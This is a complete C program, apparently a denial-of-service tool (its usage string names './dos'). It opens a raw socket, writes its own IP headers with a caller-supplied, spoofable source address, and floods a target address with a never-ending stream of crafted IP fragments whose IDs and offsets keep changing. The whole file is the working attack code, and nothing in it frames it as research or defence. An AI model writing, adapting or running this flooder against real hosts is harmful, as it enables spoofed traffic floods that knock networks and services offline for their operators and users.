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#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <assert.h>
#include <errno.h>
#define PKG_BUF 2048
static inline void die_on_error(const char *err_prefix, int ret)
{
if (ret) {
if (errno)
perror(err_prefix);
abort();
}
}
static unsigned short csum(unsigned short *ptr, int nbytes)
{
long sum;
unsigned short oddbyte;
short answer;
sum = 0;
while (nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}
if (nbytes == 1) {
oddbyte = 0;
*((u_char*) &oddbyte) =* (u_char*) ptr;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff);
sum = sum + (sum >> 16);
answer = (short) ~sum;
return(answer);
}
int main(int argc, char **argv)
{
unsigned char pkg[PKG_BUF];
struct iphdr *ip = (struct iphdr *) pkg;
struct sockaddr_in dest;
int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
int r, val = 1;
size_t data_size = 896 - sizeof *ip;
useconds_t send_rate = 1 * 1000; /* 50ms */
size_t cur_frags, max_frags = 64;
uint16_t id, max_bucket = 32;
die_on_error("socket", s < 0);
r = setsockopt(s, IPPROTO_IP, IP_HDRINCL, &val, sizeof val);
die_on_error("setsockopt", r != 0);
if (argc != 3) {
printf("usage: %s [SOURCE-IP] [DEST-IP]\n", (argc > 0 ? argv[0] : "./dos"));
return 1;
}
printf("smack: %s -> %s\n", argv[1], argv[2]);
memset(&dest, 0, sizeof dest);
memset(pkg, 0, sizeof pkg);
ip->ihl = 5;
ip->version = 4;
ip->tos = 0;
ip->tot_len = data_size - sizeof(struct iphdr);
assert(ip->tot_len <= PKG_BUF);
ip->id = 0;
ip->frag_off = 0;
ip->ttl = 255;
ip->protocol = IPPROTO_IP;
ip->check = 0;
ip->saddr = inet_addr(argv[1]);
ip->daddr = inet_addr(argv[2]);
ip->check = csum((unsigned short *) pkg, sizeof *ip);
dest.sin_family = AF_INET;
dest.sin_addr.s_addr = inet_addr(argv[2]);
srandom(time(NULL));
cur_frags = 0;
while (1) {
if (cur_frags % max_frags == 0) {
ip->frag_off &= 0xFF1F;
id = ip->id;
for (uint16_t i = 0; i < max_bucket; ++i) {
ip->id = htons(id + i);
r = sendto(s, pkg, ip->tot_len, 0, (struct sockaddr *) &dest, sizeof dest);
die_on_error("sendto", r != ip->tot_len);
}
ip->id = id;
ip->id = (uint16_t) random();
ip->frag_off = 0x0020;
printf("ip->id = %u\n", ip->id);
}
//ip->saddr = (uint32_t) random();
id = ip->id;
for (uint16_t i = 0; i < max_bucket; ++i) {
ip->id = htons(id + i);
r = sendto(s, pkg, ip->tot_len, 0, (struct sockaddr *) &dest, sizeof dest);
die_on_error("sendto", r != ip->tot_len);
}
ip->id = id;
usleep(send_rate);
printf("%zu: ipd->id = %04X , ip->frag_off = %04X\n", cur_frags,
ip->id, ntohs(ip->frag_off));
ip->frag_off += htons(8);
cur_frags++;
}
return 0;
}
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